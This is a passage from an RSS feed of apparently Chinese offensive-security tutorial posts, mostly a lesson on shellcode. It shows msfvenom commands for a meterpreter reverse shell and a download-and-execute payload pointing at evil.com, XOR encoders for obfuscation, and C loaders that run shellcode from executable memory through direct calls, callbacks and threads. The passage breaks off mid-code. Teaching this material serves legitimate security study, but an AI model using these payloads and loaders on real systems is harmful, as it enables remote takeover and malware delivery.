0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">伪装成正常流量</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">数据窃取</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">文件搜索</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p style="text-align: justify;"><span leaf="">简单有效</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 工具组合使用</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 生成恶意DLL</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">使用donut生成Shellcode：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin</span><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="75"></mp-pay-preview-filter></p></code></pre></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=92e7012d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496652%26idx%3D1%26sn%3D50f2801f6bb0cbcbf119593b05c108ca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Apr 2026 08:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Shellcode技术——代码注入的核心</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496651&amp;idx=1&amp;sn=40e405d0398464f001570faf27a84030</link>
      <description>，一、前言概述Shellcode是一小段用于执行特定任务的机器码，是现代攻击的核心技术之一，本课将深入介绍Sh</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-15 08:34</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d9c8e7f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY5gGCibKXKCQmy1xCeEmPPnOBM0sJiaYQjAibwSX45Adw75Sjxaz2xia2icNtsRVQEr2JS3QQ5WibksL6MungiaN2YZ2X3oVicmiaa5Udm0%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">，一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">Shellcode是一小段用于执行特定任务的机器码，是现代攻击的核心技术之一，本课将深入介绍Shellcode的生成、混淆和执行技术。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 Shellcode基础</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Shellcode定义：</span></strong><span leaf="">Shellcode是一小段用于执行特定任务的机器码，常用于漏洞利用和代码注入。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Shellcode特点：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">位置无关代码（Position Independent Code）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">无空字节（Null-byte Free）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">小体积</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">自包含</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Shellcode类型：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">功能分类：执行命令、反弹Shell、下载执行、提权</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">架构分类：x86 (32位)、x64 (64位)</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">实现方式：汇编编写、C编译提取、工具生成</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 Shellcode生成</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.1 使用Metasploit生成</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 生成反弹Shell Shellcode</span></span><span leaf=""><br/></span><span leaf="">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 生成执行命令 Shellcode</span></span><span leaf=""><br/></span><span leaf="">msfvenom -p windows/x64/</span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">exec</span></span><span leaf=""> CMD=cmd.exe -f c</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 生成下载执行 Shellcode</span></span><span leaf=""><br/></span><span leaf="">msfvenom -p windows/x64/download_exec URL=<a href="http://evil.com/malware.exe" target="_blank">http://evil.com/malware.exe</a> -f c</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.2 使用Cobalt Strike生成</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">在Cobalt Strike中生成Beacon Shellcode。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.3 手动编写</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">x64 MessageBox Shellcode：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">section .text</span><span leaf=""><br/></span><span leaf="">global _start</span><span leaf=""><br/></span><span leaf="">_start:</span><span leaf=""><br/></span><span leaf="">    sub rsp, 28h</span><span leaf=""><br/></span><span leaf="">    mov rax, [gs:60h]</span><span leaf=""><br/></span><span leaf="">    mov rax, [rax + 18h]</span><span leaf=""><br/></span><span leaf="">    mov rax, [rax + 20h]</span><span leaf=""><br/></span><span leaf="">    mov rax, [rax]</span><span leaf=""><br/></span><span leaf="">    mov rax, [rax]</span><span leaf=""><br/></span><span leaf="">    mov rax, [rax + 20h]</span><span leaf=""><br/></span><span leaf="">    ; 获取MessageBoxA地址并调用...</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 Shellcode混淆</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 编码混淆</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">XOR编码：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">XorEncode</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* shellcode, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> size, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf=""> key)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; size; i++) {</span><span leaf=""><br/></span><span leaf="">        shellcode[i] ^= key;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">多字节XOR：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">MultiXorEncode</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* shellcode, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> size, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* key, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> keySize)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; size; i++) {</span><span leaf=""><br/></span><span leaf="">        shellcode[i] ^= key[i % keySize];</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.2 加密混淆</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">AES加密：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">AesEncrypt</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* shellcode, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> size, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* key)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 使用AES加密</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.3 变形混淆</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">ShellcodeMutator</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">GitHub: <a href="https://github.com/nettitude/ShellcodeMutator" target="_blank">https://github.com/nettitude/ShellcodeMutator</a></span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">sgn (Shellcode Encoder)</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">GitHub: <a href="https://github.com/EgeBalci/sgn" target="_blank">https://github.com/EgeBalci/sgn</a></span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4 Shellcode执行</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4.1 直接执行</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">ExecuteShellcode</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* shellcode, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> size)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    LPVOID memory = VirtualAlloc(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</span><span leaf=""><br/></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(memory, shellcode, size);</span><span leaf=""><br/></span><span leaf="">    ((</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span leaf="">(*)())memory)();</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4.2 回调执行</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">ExecuteShellcode_Callback</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* shellcode, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> size)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    LPVOID memory = VirtualAlloc(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</span><span leaf=""><br/></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(memory, shellcode, size);</span><span leaf=""><br/></span><span leaf="">    EnumChildWindows(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, (WNDENUMPROC)memory, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.4.3 线程执行</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">ExecuteShellcode_Thread</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* shellcode, </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> size)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    LPVOID memory = VirtualAlloc(</span><span style="color: rgb(86, 182, 